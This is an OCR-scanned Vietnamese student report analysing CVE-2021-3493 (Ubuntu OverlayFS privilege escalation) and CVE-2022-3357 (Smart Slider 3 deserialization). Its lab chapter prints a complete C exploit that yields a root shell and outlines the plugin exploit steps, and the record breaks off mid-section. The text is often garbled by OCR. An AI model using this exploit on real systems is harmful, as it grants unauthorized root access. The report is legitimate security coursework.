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LOI MO DAU
L4 hong phan mém va cac ma dinh danh CVE (Common Vulnerabilities and Exposures)
12 mot van dé rat nghiém trong trong linh vyc bao mat théng tin. Cac 16 hong ¢ thé anh
hudéng dén nhidu loai phan mém va hé théng, bao gém ca hé théng mady tinh, cac tng
dung web va di dong. Céac 16 hong phan mém va md CVE thudng duoc khai thac boi
cac tin tac dé thuc hién cdc cudc tin cong, bao gém ca viéc xam nhap hé thé)ng, danh
cip thong tin nhay cam, 1ay nhiém phan mém doc hai va tdn cong tir chbi dich vu (DoS).
Nhitng tac dong cia cac cude tAn cong nay cé thé 1am gian doan hoat dong cua cac to

chtrc va ¢4 nhan, gay ra thiét hai v€ tai san va danh tiéng.

Véi mong mudn c6 thém hiéu biét va nghién ctru sau hon vé cac 16 hong phan mém
thong qua khai thac ma dinh danh CVE, nhém chiing em da thong nhat va thyc hién
nghién ctu CVE-2021-3493, CVE-2022-3357 1am bai tap bao céo.

Trong qua trinh lam bai tap, cling nhu 1a trong qua trinh lam bai bao céo, kho tranh khoi
sai sOt, rit mong thay bo qua. Pong thoi do trinh d6 cling nhu kinh nghiém thuc tién con
han ché nén bai bao cao khong thé tranh khoi nhimng thiéu sot, chiing em rat mong nhan
dugc gop ¥ cia thdy dé chiing em hoc thém duoc nhiéu kinh nghiém va hoan thanh t6t

hon trong cac bai bao cio sip toi.
Bao cdo duoc chia lam 3 chuong, v6i cac ndi dung sau:
Chuwong I: Co sé Iy thuyét
o Giéi thi¢u vé CVE
o Linux va cac diém yéu trong Kernel Linux

o PHP va cic diém yéu trong tmg dung web PHP

o Content Management System va WordPress
Chuong II: Gi6i thiéu vé CVE-2021-3493 va CVE-2022-3357

o CVE-2022-3357
o CVE-20213493

Chuong III: Trién khai khai thic CVE

o Khai thac CVE-2021-3493

o Khai thac CVE-2022-3357
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DANH MUC TU VIET TAT

Tur viét tit

Tiéng Anh Tiéng Viét

Common Vulnerabilities and

CVE Céc 16 hong va phoi nhiém phd bién
Exposures
PHP Hypertext Preprocessor B tién xur ly siéu véan ban
HTML Hypertext Markup Language Ngbn ngit danh dau siéu van ban
RCE Remote Code Execution Thuc th1 ma tur xa
PoC Proof of Concept Bang ching vé khai niém
POP Post Office Protocol Giao thurc buu dién




DANH MUC HINH VE

Hinh 1.1: Hinh anh mét CVE trén trang cve.mitre.org

Hinh 1.2: Céc thanh phén trong Linux
Hinh 3.1: Kiém tra phién ban Linux

Hinh 3.2: Kiém tra tién trinh OverlayFS

Hinh 3.3: Kiém tra dic quyén ngudi dung hién tai

Hinh 3.4: Tao tép chira ma khai théac

Hinh 3.5: Bién dich tép khai thac bang GCC
Hinh 3.6: Leo thang dic quyén root

Hinh 3.7: PoC khai thac CVE-2021-3493
Hinh 3.8: PoC khai thac CVE-2021-3493
Hinh 3.9: Bién dich tép khai thac bﬁng GCC
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Hinh 3.9: PoC khai thac CVE-2022-3357
Hinh 3.10: PoC khai thac CVE-2022-3357
Hinh 3.11: PoC khai thac CVE-2022-3357
Hinh 3.12: PoC khai thac CVE-2022-3357
Hinh 3.13: PoC khai thac CVE-2022-3357
Hinh 3.14: PoC khai thac CVE-2022-3357

Hinh 3.15: PoC khai thac CVE-2022-3357



CHUONG 1. CO SO LY THUYET
1.1. Giéi thiéu vé CVE

CVE la viét tat cia Common Vulnerabilities and Exposures, 1a danh sach cac 16 hong
bao mat phan mém dugc cong bd cong khai dé gitp cac nha phat trién, quan tri vién hé
thdng nhitng ¢4 nhan c¢6 nhu cau thuc hién danh gia va quéan 1y rii ro an toan thong tin.
Mbi CVE dugc gan mot s dinh danh duy nhét dé truy xuat va theo doi thong tin lién

quan dén 16 hong do.

Céc CVE sir dung ct phap CVE-nam phat hién-ma sd. Trén trang chu cve.mitre.org,
mdi CVE bao g@)m cac truong nhu mo ta, tai liéu tham khao, ngay tao hd so... nhu hinh

dudi:

Learn more at National Vulnerability Database (NVD)
* CVSS Severity Rating * Fix Information » Vulnerable Software Versions « SCAP Mappings + CPE Information

CVE-2021-3493

Description

The overlayfs implementation in the linux kernel did not properly validate with respect to user namespaces the setting of file capabilities on files in an underlying file system. Due to the combination of
unprivileged user namespaces along with a patch carried in the Ubuntu kernel to allow unprivileged overlay mounts, an attacker could use this to gain elevated privileges.

Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.

* MISC:http://packetstormsecurity.com/files/162434/Kernel-Live-Patch-Security-Notice-LSN-0076-1.html

« MISC:http://packetstormsecurity.com/files/162866/Ubuntu-OverlayFS-Local-Privilege-Escalation. html

* MISC:http://packetstormsecurity.com/files/165151/Ubuntu-Overlayfs-Local-Privilege-Escalation.htm|

« MISC:https://git.kernel.ora/pub/scm/linux/kernel/git/torvalds/linux. git/commit/?id=7c03e2cdad4a584cadc 39886641 cad988a39d52
* URL:https://ait.kernel.org/pub/sem/linux/kernel/git/torvalds/linux. git/commit/?id=7c03e2cdadasS84cadc398e8f6641¢a9988a39d52
* MISC:https://ubuntu.com/security/notices/USN-4917-1

« URL:https://ubuntu.com/security/notices/USN-4917-1

o MISC;https://www.openwall.com/lists/oss-security/2021/04/16/1

 URL:https://www.openwall.com/lists/oss-security/2021/04/16/1

Canonical Ltd.

Date Record Created

20210412 Disclaimer: The record creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared
with the affected vendor, publicly disclosed, or updated in CVE.

Phase (Legacy)
Assigned (20210412)

Hinh 1.1: Hinh anh m¢t CVE trén trang cve.mitre.org

Dé phan loai CVE, nguoi ta thuong sir dung qué trinh dinh tinh 15 hong nham tinh dugc
diém “Base Score”. Tir ddy, cac nha quan tri c6 thé dua ra danh sach cac 16 hong wu tién
can khic phuc trude khi cac sy ¢d khong mong mudn xay ra. Cach xép loai CVE theo
thang diém trén trang nvd.nist.gov: None 0.0; Low 0.1-3.9; Medium 4.0-6.9; High 7.0-
8.9; Critical 9.0-10.0.

Trén thuc té, viéc chia sé chi tiét CVE c¢6 loi cho tat ca céc td chire, tao co s& dé céc td
chtrc danh gia mtrc ¢ phit hop cia cac cong cu bao mét cua ho. Bang cach sir dung ma
dinh danh CVE cho mét 16 hong cu thé, cac to chirc c6 thé 13y thong tin vé nd tir nhiéu

ngudn thong tin khac nhau mot cach nhanh chéng va chinh xac. Pong thoi, viéc tw van



bao mat ciing c6 thé sir dung chi tiét 16 hong CVE dé tim kiém cac dau hiéu tin cong di
biét nham xéc dinh céc 16 héng khai thac cu thé.

1.2.  Giéi thi¢u vé Linux va cac diém yéu trong Kernel Linux

1.2.1. Téng quan vé hé diéu hanh Linux

— Hé diéu hanh Linux la mot hé diéu hanh ma ngudén mé va mién phi dugc phat trién
bd1 mdt cong dong 16n cac nha phat trién trén toan thé gioi. Linux dugc thiét ké dé
hoat dong trén nhiéu loai phan cting khéc nhau, bao gdm may tinh ¢4 nhan, may chu,

dién thoai thong minh, may tinh bang va nhiéu thiét bi khac.

— Céc thanh phan trong Linux:

user app.
daemons

Hardware
Scheduler

Memory

Hinh 1.2: Cdc thanh phan trong Linux

+ Kernel: Hay con duoc goi 1a phan Nhan, 12 phan quan trong va duoc vi nhu trai
tim cia HDH Linux. Phan kernel quan trong nhét ctia may tinh c6 nhiém vu chira

cac module, thu vién dé quan ly va giao ti€p vdi phan cling va cac ung dung.

+ Shell: Shell 1a mot chuong trinh ¢6 chirc nang thyuc thi cac 1énh (command) tur

nguoi dung hodc tr cac ing dung yéu cau-— tién ich yéu cau chuyén dén cho



Kernel xtr 1y. Shell duoc coi 14 cau nbi dé két ndi Kernel va Application, phién

dich céc tap 1énh tir Application giri dén Kernel dé thyc thi.

+ Applications: La cac ung dung va ti¢n ich ma ngudi dung cai dat trén Server. Vi

du: ftp, samba, Proxy,...
1.2.2. Nhitng diém yéu trong Kernel Linux

— Tham chiéu con tré Null: Con tro NULL la mdt con trd tré dén dia chi bo nhé 0, tirc
khong tro dén bat ky dbi tuong nao. Khi mot chuwong trinh ¢b ging tham chiéu dén
con tro NULL, n6 s€ giy ra mot 16i thye thi, va ung dung s€ bi treo hoac tat dot ngot.
Céc cudc tan cong khac nhau co thé khai thac tir 16 hong nay 1a Tir chdi dich vu
(CVE-2014-8173), doat quyén (CVE-2008-2812) va Tran tran bo nhd gay Tl chdi
Dich vu (CVE-2013-2899)...

— Chia cho s6 0: Ldi nay xay ra khi hé théng thuc hién phép chia va mau bang khong.
Trong trudng hop a/b khi b bang khong, hé thong tra vé 18i chia cho sé khong. Tuy
nhién, 161 nay thuong khoéng dugce dinh nghia va dan dén cac cudc tin cong tir chdi

dich vu (CVE-2015-4003) va (CVE-2013-6367).

— Sur dung bd nhé sau khi d3 giai phong: Ldi ndy xay ra khi mot ddi twong duoc giai
phong trong khi van con cac con tro tré dén no. Khi chuong trinh ¢6 gang sir dung
cac con tro nay sau khi d6i tuong da bi giai phong, né sé truy cap vao mot vung nhé
khong hop 1€, co thé gay ra nhitng hau qua nghiém trong nhu crash, 16i bao mat, hoic

tham chi chiém quyén diéu khién hé thong.

— Lip vo han: Khi chuong trinh gip phai vong lap vo tan, né s& khong thé thuc hién
duoc bat ky cong viéc ndo khac va dan dén tinh trang treo hoac bi crash hoac hé
théng 6 thé 13p lai tdc vu mdt cach vo han. Nhirng cudc tan cong khai thac 16 héng
nay thuong 14 cac tan cong tir chdi dich vy, nhu 1a CVE-2006-6058 va CVE-2013-
0290.

— Lbi tran b dém: DAy 1a 16 hong phan mém dugc biét dén nhiéu nhat, cho phép dir
ligu dugc ghi vao mdt buffer co thé tran ra ngoai buffer do, ghi de 1é€n dir li¢u khac
va din t6i hoat dong bat thudng ciia chuong trinh. L hong nay dé dang cho phép ké
tAn cong chén va thyuc thi ma doc cua riéng minh gitp loi dung d& dang dé gianh lay

dic quyén. Lo hong nay thuong dan dén cac cudc tan cong theo kiéu Loi Bo nhé
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(CVE-2009-1633), Gianh 13y dic quyén (CVE-2009-4004) va Tir chdi Dich vu
(CVE-2010-2492).

— LAi tran s6 nguyén: Tran sb nguyén 1a két qua cta phép tinh trén sb nguyén vuot qua
pham vi biéu dién cta kiéu dit liéu nguyén. Tir day, hé thong co thé thuc hién nhitng
hanh vi khong mong mudn hoic tham chi c6 thé gy ra su cd. Kha ning tin cong do
16 hong nay bao gdm Tir chdi Dich vu (CVE-2016-8830), Gianh 14y Thong tin (CVE-
2009-1265) va Loi Bo nhd (CVE-2010-3442).

— Race condition: Xir Iy cac 1énh theo thtr ty khong ding c6 thé dan dén tinh trang
canh tranh giita cic tic vu. Day 1a mot tinh huéng khong mong mudn, thuong xay ra
khi hé théng thuc thi hai hodc nhiéu chi thi phu thudc vao nhau cung mét Iic nhung
két qua cua nhitng chi thi do lai phu thudc vao thtr ty thuc thi cua ching. Gia su, hé
théng nhan cac 1énh dé doc va ghi mét luong 16n dir liéu gﬁn nhu cung mdt lac va
may cd gang ghi dé 1én mot sb dit liéu cil trong khi dir lidu d6 van dang duoc doc,
diéu nay co thé dan dén sy cd hé théng hodc mdt s hoat dong bat hop phap. Cac
cudc tin cong gdy ra boi 16 hong nay bao gom Leo thang dic quyén (CVE-2016-
2059), Tur chdi Dich vu (CVE-2006-2445), va L6i B6 nhé (CVE-2006-2629).

1.3.  Giéi thiéu vé PHP va cic diém yéu trong irng dung web PHP

— PHP — Hypertext Preprocessor. Pay 1a mot ngon ngir 1ap trinh web mi nguon mo
dugc phat trién ban dau boi Rasmus Lerdorf vao nam 1994, PHP 1a mot dang ma
1énh hodc mot chudi ngdn nglr kich ban, chu yéu dugc phat trién cho nhirng ngoén
ngit nam trén may chii. Khi cac lap trinh vién PHP viét cac chuong trinh thi cac chudi
1énh s€ dugc chay trén server, tir d6 sinh ra ma HTML. Nho vay ma nhiing tng dung
trén cac website ¢ thé chay dugc mot cach dé dang

— PHP c¢6 tinh ning ma hoa mi ngudn, gitp bao vé mi ngudn va ngin chin viéc sao
chép trai phép, c6 thé duoc tich hop vai cac co s dit liéu nhu MySQL, PostgreSQL,
Oracle va SQL server dé lay va luu trir dit liéu

— PHP hd tro trén hau hét cac hé diéu hanh, bao gff)m Windows, macOS va céc phién

ban cua Linux

1.3.1. Téng quan vé irng dung web



Ung dung web 1 cac phan mém dugce thiét ké dé hoat dong thong qua mang internet
va truy cp thong qua trinh duyét web trén cac thiét bi dién tir nhu may tinh, dién
thoai thong minh, may tinh bang... theo nhu cau va mong mudn cia ngudi dung.
Thong qua cac thuit toan tmg dung web, ngudi dung c6 thé thuc hién duoc mot sd

cong viéc nhu tinh toan, mua sam, chia s¢€ anh... vi tng dung c¢ tinh tuong tac cao
Ung dung web dugc chia thanh nhiéu loai khac nhau, bao gom:

— Trang web tinh: Day la loai trang web co ban va khong cé tinh tuong tdc voi nguoi
dung. Bao gém céc trang web vin ban, hinh anh va da phuong tién khac duoc hién
thi trén mot trang web duy nhat

— Trang web dong: Pay la loai trang web c6 tinh ndng tuong tac voi ngudi dung va
dugc tao ra dya trén ngoén ngilt lap trinh web nhu PHP hodc JavaScript, cho phép
ngudi dung twong tac voi ndi dung trén trang web, giri biéu mau va nhan phan hoi,
tao tai khoan nguoi dung...

— Ung dung web da nén tang: Py 13 cac ung dung web duoc thiét ké dé hoat dong
trén nhiéu nén tang va thiét bi khac nhau nhu may tinh, dién thoai di dong, may tinh
bang... Thudng dugc thiét ké dé thich ing voi kich thude man hinh va céac tinh ning
khac cuta thiét bi dugc sir dung

— Ung dung web theo thoi gian thue: Pay 1a cac ing dung web duoc thiét ké dé hoat
dong trong thoi gian thuc, c6 kha ning cip nhat va truyén dit liéu ngay lap tirc cho
nguoi dung. Thudng duoc str dung cho céc tro choi truc tuyén, nhin tin truc tuyén,

hé théng twong tac ngudi ding. ..
1.3.2. Nhitng diém yéu trong iing dung web PHP

Mic du PHP 1a ngon ngit 1ap trinh web phd bién va duoc st dung rong rii nhung

bén canh d6 van c6 mot sé diém yéu trong tng dung web PHP, nhur 1a:

— Téan cong Injection: Nhitng cudc tan cong nay xay ra khi tin tic chén ma doc vao
thong tin ddu vao cua ung dung, din dén viéc 1ay mét dir liéu hodc diéu khién ung
dung.

— Cross-Site Scripting (XSS): L6 héng XSS xay ra khi tin tic chén ma doc vao trang
web dé tin cong nguodi dung khi ho truy cép vao trang dé. Cross-Site Request

Forgery (CSRF): Nhirng cudc tin cong nay xay ra khi tin tic tao ra yéu cau gia mao
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1.4.

va gli chung dén may chu, gia danh ngudi dung hop phap dé thuc hién cac hanh
dong trai phép.

Session hijacking: L6 hong nay xdy ra khi tin tic chiém quyén truy cép vao phién
1am viéc cta ngudi dung dé 1ay mat thong tin nhay cam.

File inclusion vulnerabilities: L3 hong nay xay ra khi tin tic st dung cac 16 hong
trong ma PHP dé tai 1én cac tép doc hai va thuc thi chiing trén méy chil.

M3 doc: Khi 1ap trinh vién st dung mi khong an toan, tin tic c6 thé khai thac nhirng

diém yéu nay dé lay mat dir liéu hoac ki€ém soat may chu.

Content Management System va WordPress

1.4.1. Content Management System (CMS)

Content Management System (CMS) 1a hé thong quan tri néi dung nham muc dich
gitp dé dang quan Iy, chinh stra ndi dung. Noi dung & day la text, video, nhac, hinh
anh, files... CMS 1a noi nguoi quan tri Website ¢ thé cap nhat, thay d6i ndi dung
trén Website. Mot hé thong CMS t6t s& cho phép van hanh Website ma khong can
su can thiép, hd tro tir ngudi 1ap trinh trang web.

Hé théng CMS giup tiét kiém thoi gian quan 1y, chi phi van hanh va bao tri nén hién
nay c6 rat nhiéu coéng ty st dung. Khong chi 1a cong ty ma hién nay cac blog ca
nhan ciing ra doi nhiéu, giai phap sir dung CMS gitp dé dang xdy dung website va
quan 1y ndi dung. Bén canh d6 con tiét kiém dugc chi phi xay dung website.

CMS 1a noi ma tit ca nhitng ngudi phu trach lién quan dén cac tinh ning ciia Website
phai str dung. Khi nhic téi CMS ta c6 thé hiéu n6 nhu 13 phan quan tri (admin) cta
mot Website. Noi quan 1y tat ca dir liéu Website.

CMS ¢6 mdt s6 chirc ning co ban phtt hop, c6 ich cho cong tac quan 1y website nhu:
Quan 1y version, quan 1y ndi dung, sitemap, tim kiém, quan 1y quyén st dung, cap
nhat homepage,...

Hién nay trén cong dong cong nghé c6 03 phan loai CMS chinh: CMS m3 ngudn
m& (Opensource), CMS tu code va tu xay dung (Framework), CMS duoc build san
va mat phi.

Cung v6i 3 phan loai trén, cling c6 nhiéu phién ban CMS, vi du nhu: WordPress

(Opensource), Magento (Opensource), Shopify (Mat phi),...
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1.4.2. WordPress

WordPress 1a mot hé théng ma ngudn mo dung dé xuat ban blog/website dugc viét
bang ngdn ngit 1ap trinh PHP va sir dung co s& dir liéu MySQL. WordPress dugc
biét dén nhu mot CMS mién phi nhung tot va dugc sit dung pho bién trén toan thé
gioi.

Vé6i WordPress, ngudi dung co thé tao ra cac trang web thuong mai dién ttr, cong
thong tin, dién dan, blog,...

WordPress duoc wa chudng trén toan khip thé gidi bén canh viéc nd 1a mot phan
mém CMS mién phi, n6 con c6 nhitng vu diém nhu: D8 str dung, dé quan 1y, hd tro
nhiéu loai ngdn ngit, c¢6 nhiéu thiét ké da dang,...

Tuy nhién, WordPress ciing khong thé tranh khoi cac nhugc diém: Cai dat template
va cac plugin khong don gian, c6 hiéu suat kha thap chi phu hop voi cac doanh

nghi¢p nho 1¢, kha nang bao méat cia WordPress cling khong thuc su tot,...
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CHUONG 2. GIOI THIEU VE CVE-2022-3357 VA CVE-2021-3493
2.1. CVE-2022-3357
2.1.1. M6 ta 16 hong

— Céac phién ban Wordpress Plugin Smart Slider 3 trudc phién ban 3.5.1.11 ¢6 ton tai
16 hong insecure deserialization. Plugin Smart Slider 3 thyc hién unserialize noi dung
cua file khi nguoi dung thyc hién thao tac import file. Khi file tai I1én 1a mot file doc
hai, 16 hong nay sé& c6 thé khai thac dé thuc hién RCE. Diéu kién dé thuc hién khai

thac 16 hong nay 1a khi da c6 tai khoan c6 quyén truy cip Smart Slider 3.

— L hong PHP Object Injection 1a mot dang cua 16 hong Insecure Deseralization trong
PHP, c6 thé giup ké tan cong thyc hién cac loai tan cong khac nhau, chéng han nhu
Code Injection, SQL Injection, Path Traversal, DDos, tily vao ngit canh. L hong
nay xay ra khi dir liéu dau vao khong duoc kiém tra diing cach trude khi duoc chuyén
dén ham PHP unserialize(). Véi cac 16p phuong thic Magic method  wakeup(),
__destruct(), _toString(), ciing v&i cac POP chain gitip cho d6i twong tan cong thuc
thi 161 nay.

2.1.2. Cac phién ban anh huong

— C4c phién ban plugin Smart Slider 3 trudc phién ban 3.5.1.11

2.1.3. Cach thiec khai thac

— Tim kiém va xay dung cac POP chain trong tng dung web Wordpress

— Tu POP chain tim duoc, tao mot ddi tuong PHP da duoc serialize va ghi ra file co
tén la data.

— Sau d6 thuc hién nén file data thanh dinh dang .zip va doi tén file thanh dinh dang
.8s3

— Sau khi da co6 tép khai thac, thuc hién chirc nang import slide trong plugin Smart
Slider 3.

— Tuy thudce vao POP chain tim dugc ma co thé khai thac cac 16 héng khac nhau nhu:

Code Injection, SQL Injection, ...
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2.1.4. Khuyén nghi va hwéng dan khdc phuc

— Loc cac dir liéu trude khi thuc hién unserialize.
2.2. CVE-2021-3493

2.2.1. M6 ta 16 hong

— OverlayFS 1a mot cong nghé tao ra mot tang phia trén (overlay) mot thu myc hién
c6 trén hé thdng tép ctia Linux. N6 cho phép cac thu muc va tép tin duge ghi vao 1op
trén (overlay layer) ma khong anh huong dén cac tép tin va thu muc gbc nam dudi
(underlying layer). Piéu ndy cho phép cic Gmg dung va cac hé thong sir dung
OverlayFS dé cai dat va cap nhat cac tng dung ma khong anh hudng dén cac thu
muc va tép tin gbc. Tuy nhién, c6 mot 16 hong trong OverlayFS di duoc phat hién,
cho phép tin tic co thé tan cong, 1am tran bo dém va thyc thi ma doc. LS hong nay
c6 thé duoc khai thac boi tin tic co quyén truy cip vao hé thdng tép ctia may tinh dé
thuc hién cac hanh dong doc hai, chéng han nhu thay dbi dir liéu hodc danh cép thong

tin.

— CVE-2021-3493 dugc phat hién va bao cdo vao gitta thang 6 nam 2021 va anh hudng
dén mot sé ban phan phdi Linux, bao gdm Ubuntu, Debian va Red Hat Enterprise
Linux. Pay 1a mot 16 hong trong hé théng tap tin OverlayFS cua nhan Linux, cho
phép ké tan cong bypass kiém tra quyén truy cap dé tao lién két cimg va tép setuid
trong hé thong tap tin OverlayFS, dan dén leo thang dic quyén. L hong duoc gan
diém CVSSv3 1a 7,8 va da dugc va bai cac ban phan phdi bi anh hudng ngay sau khi

né duoc tiét 10.
2.2.2. Cac phién ban anh huong
— Ubuntu 20.10
— Ubuntu 20.04 LTS
— Ubuntu 19.04
— Ubuntu 18.04 LTS
— Ubuntu 16.04 LTS

— Ubuntu 14.04 ESM
14



2.2.3. Cach thirc khai thac

— Cach phat hién 15 hong OverlayFS 1a sir dung 1énh mount dé kiém tra xem OverlayFS

c¢6 duoc kich hoat trén hé théng hay khong:
cat /proc/filesystems
cat /proc/filesystems | grep overlay

— Néu két qua tra vé khong c6 overlay, thi hé thong khong sir dung OverlayFS va do
d6 khong bi anh huong boi 16 hong CVE-2021-3493. Néu két qua tra vé c6 chua
"overlay", thi OverlayFS dang dugc sir dung trén hé thong.

— Viéc khai thac duoc thuc hién bé“tng cach thyc thi t¢p C trén may. Néu hé théng da
kich hoat OverlayFS va phién ban kernel dang str dung trén hé thong c6 kha nang bi
anh hudng bai 16 hong nay, ké tan cong co thé dé dang leo thang tir bat ky tai khoan

ngudi ding nao dén root mién 1a c6 thé chay tép nhi phan.

— Khai thac dugc str dung yéu cAu trinh bién dich GCC duoc cai dit trén hé théng néu
khong c6 trinh bién dich C dugc cai dat trén may, chung ta c6 thé bién dich tinh tép

nhi phan ¢ noi khac va chi sao chép tép nhi phan qua.
2.2.4. Khuyén nghi va huéng dan khdc phuc

— L héng OverlayFS di dugc va trong cic ban cip nhat bao mat ctia cac ban phan
phéi Linux bi anh huong. Do d6, dé khac phuc 16 hong nay, chung ta nén cap nhat
hé théng ciia minh véi phién ban méi nhat. Cac ban va 161 ndy c6 san trong cac kho
I trit phan mém chinh thirc ciia cac ban phan phdi Linux bi anh hudng. Chiing ta
chi can chay cac cau 1énh cdp nhat phan mém thong thuong dé cai dit cac ban va
nay. DPbi voi Ubuntu va cac ban phan phdi dua trén Ubuntu, chung ta c¢6 thé st dung

1énh sau dé cap nhat hé théng:
sudo apt-get update

sudo apt-get upgrade
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CHUONG 3: TRIEN KHAI THU'C NGHIEM

3.1. Khai thac CVE-2021-3493
3.1.1. Thiét ldp Lab
— May Ubuntu (Phién ban bi anh hudng)
— Trinh bién dich GCC
3.1.2. Phat hién 16 hong
— Budc 1: Kiém tra phién ban Linux ciia hé thong

uname -a

Activities [=] Terminal ~ MNov 29 02:45

guenzun@AT170613: ~

:~% uname -a
Linux AT170613 5.0.0-13-generic #14-Ubuntu SMP Mon Apr 15 14:59:14 UTC 2019 x86

_64 %86_64 x86_64 GNU/Linux
. I

Hinh 3.1. Kiém tra phién ban Linux

— Budc 2: St dung 1énh mount dé kiém tra xem OverlayFS c6 dugc kich hoat trén hé

thdng hay khong.
cat /proc/filesystems

Activities [-] Terminal Nov 28 03:37

guenzun@AT170613: ~/CVE

grep overlay /fproc/filesystems

7 sudo modprobe overlay
. [sudo] password for guenzun:

grep overlay /fproc/filesystems

nodev

Hinh 3.2. Kiém tra tién trinh OverlayFS
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3.1.3. Khai théc 16 hong

— Buéc 1: St dung 1énh whoami va id dé kiém tra dic quyén ctia ngudi dung hién tai

j 1 1 .0.0-13-generic #14-Ubuntu SMP M
[ _64 x86_64 x86_64 GNU/Linux
. :~% whoami

gquenzun

. Files

s 1

Hinh 3.3. Kiém tra ddc quyén ciia nguwoi ding hién tai

— Budc 2: Tao tép khai thac chira ma khai thac

do),30(dip),46(plugdev),118(lpadmin),129(sambashare)
:~5 1s
examples.desktop

:~% cd CVE

e

S 1s

s

Hinh 3.4. Tao tép chira ma khai thdac
Ma khai thac:
#define GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>

#include <sys/types.h>
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#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

int setxattr(const char *path, const char *name, const void *value, size t size, int

flags);

#define DIR_ BASE "./ovlcap"

#define DIR. WORK DIR BASE "/work"
#define DIR. LOWER DIR BASE "/lower"
#define DIR_ UPPER DIR BASE "/upper"
#define DIR._ MERGE DIR BASE "/merge"
#define BIN. MERGE DIR MERGE "/magic"

#define BIN_ UPPER DIR_UPPER "/magic"

static void xmkdir(const char *path, mode t mode)

{

if (mkdir(path, mode) == -1 && errno != EEXIST)

err(1, "mkdir %s", path);

static void xwritefile(const char *path, const char *data)

{
int fd = open(path, O WRONLY);
if (fd ==-1)

err(1, "open %s", path);
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ssize t len = (ssize t) strlen(data);
if (write(fd, data, len) != len)
err(1, "write %s", path);

close(fd);

static void xcopyfile(const char *src, const char *dst, mode t mode)
{
int fi, fo;
if ((fi = open(src, O_RDONLY)) == -1)
err(1, "open %s", src);
if ((fo = open(dst, O_ WRONLY | O_CREAT, mode)) == -1)
err(1, "open %s", dst);
char buf[4096];

ssize trd, wr;

for (:;) {
rd = read(fi, buf, sizeof(buf));
if (rd==0) {
break;
}else if (rd == -1) {
if (errno == EINTR)
continue;

err(1, "read %s", src);
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§
char *p = buf;
while (rd > 0) {
wr = write(fo, p, rd);
if (wr == -1) {
if (errno == EINTR)
continue;

err(1, "write %s", dst);

p += wr;

rd -= wr;

}

close(f1);

close(fo);

static int exploit()
{
char buf[4096];
sprintf(buf, "rm -rf '%s/", DIR_BASE);
system(buf);
xmkdir(DIR_BASE, 0777);

xmkdir(DIR. WORK, 0777);

20



xmkdir(DIR_ LOWER, 0777);

xmkdir(DIR_UPPER, 0777);

xmkdir(DIR_MERGE, 0777);

uid_t uid = getuid();

gid t gid = getgid();

if (unshare(CLONE_NEWNS | CLONE _NEWUSER) == -1)
err(1, "unshare");

xwritefile("/proc/self/setgroups", "deny");

sprintf(buf, "0 %d 1", uid);

xwritefile("/proc/self/uid_map", buf);

sprintf(buf, "0 %d 1", gid);

xwritefile("/proc/self/gid_map", buf);

sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR LOWER,
DIR_UPPER, DIR. WORK);

if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
err(1, "mount %s", DIR. MERGE);

char cap(] -
"\x01\x00\x00\x 02\x fAx fAx fA\x fA\x00\x00\x 00\x 00\x fA\x fA\x fA\x ff\x00\x 00\x 00\x 00";

xcopyfile("/proc/self/exe", BIN. MERGE, 0777);
if (setxattr(BIN_ MERGE, "security.capability", cap, sizeof(cap) - 1, 0) ==-1)
err(1, "setxattr %s", BIN. MERGE);

return O;
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int main(int argc, char *argv[])
{
if (strstr(argv[0], "magic") || (arge > 1 && !strcmp(argv[1], "shell"))) {
setuid(0);
setgid(0);
execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-1", NULL);
err(1, "execl /bin/bash");
j
pid_t child = fork();
if (child == -1)
err(1, "fork");
if (child == 0) {
_exit(exploit());
} else {

waitpid(child, NULL, 0);

execl(BIN_UPPER, BIN_UPPER, "shell", NULL);

err(1, "execl %s", BIN UPPER);

}

Chuong trinh nay sir dung k¥ thuat overlayfs dé gop nhiéu thu muc vao mét thu muc
duy nhat. Sau do, chuong trinh tao mot file thyc thi ¢6 tén "magic" trong thu muc
gOp va cap quyén dic quyén "CAP_SETUID" va "CAP_SETGID" cho file nay bang
cach sir dung setxattr. Quyén dic quyén nay cho phép nguoi dung chay file "magic"

6 thé dit lai UID va GID cua tién trinh cua ho thanh 0. Tiép theo, chuong trinh thyc
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thi file "magic" véi UID va GID bang 0 dé c6 quyén thyc thi voi ddc quyén cao nhat,
va m& mot shell bash v6i UID va GID ciing bang 0.

Trong d6 "CAP SETUID" va "CAP SETGID" 1a capabilitiesctia hé thong Linux
cho phép ngudi dung thay ddi dinh danh nguoi ding va nhom ngudi dung cia cac

tién trinh khAc.

— Buéc 3: Dung GCC dé bién dich tép khai khac

S gcc ex.c
S 1s

s sl

Hinh 3.5: Bién dich tép khai thic bang GCC

— Budc 4: Leo thang ddc quyén root

-

o — - ex.

c
a 3 S .fa.out
bash-5.8# whoami

root

bash-5.8#

9

Hinh 3.6: Leo thang ddc quyén root
3.2. Khai thac CVE-2022-3357
3.2.1. Thiét Idp lab
— 01 may Kali dong vai tro may chu
— 01 may Kali dong vai tro may khai thac

— WordPress phién ban bat ki di dugc setup plugin SmartSlider 3 phién ban trudc

3.5.1.11 trén ca hai may

— Tai khoan dé dang nhap
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3.2.2. Phat hién 16 hong
— Buéc 1: Tim thay doan code sir dung ham unserialize() trong file

/wp-content/plugins/smart-slider-3/Nextend/SmartSlider3/BackupSlider/ImportSlider.php

p = Unserializle($importData['data']);

->backup->slider[ type’]) 8&

visuals, $linkedVisuals);
$sliderModel =
if
$sliderModel->replace( ->backup->slider, $gro

->sliderId = $sliderModel->import ->backup->slider, $groupID);

->sliderId
- .

Hinh 3.7: PoC khai thac CVE-2022-3357

— Budc 2: Nhu trén, ta tim thdy dong code
$this->backup = unserialize($importData['data']); dugc thuc thi trong ham: public
function import($filePathOrData, $grouplD = 0, $imagelmportMode = 'clone',
$linkedVisuals = 1, $isFilePath = true)

Va chiing ta biét duoc dir lidu tir file ma ngudi ding tai 1én s& duoc unserialize thanh

mot ddi tugng BackupData.
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Budc 3: Ta théy file tai 1én duoc s€ dugc doc ra qua ham Reader::read().

Kalocampp
i POl 2 3 4| e F O 4 A QuUE|la G

ImportSlider.php - WordPress - Visual Studio Code

Run Terminal Help

2", simportbata)) {

